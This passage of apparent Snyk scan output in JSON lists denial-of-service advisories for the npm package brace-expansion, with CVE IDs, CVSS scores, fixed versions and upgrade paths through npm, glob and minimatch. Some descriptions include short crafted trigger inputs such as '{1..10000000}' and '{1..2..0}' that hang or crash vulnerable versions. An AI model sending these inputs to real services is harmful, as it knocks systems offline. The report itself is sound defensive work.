"modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.1", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "pacote@21.5.1", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6", "brace-expansion@5.0.9" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": 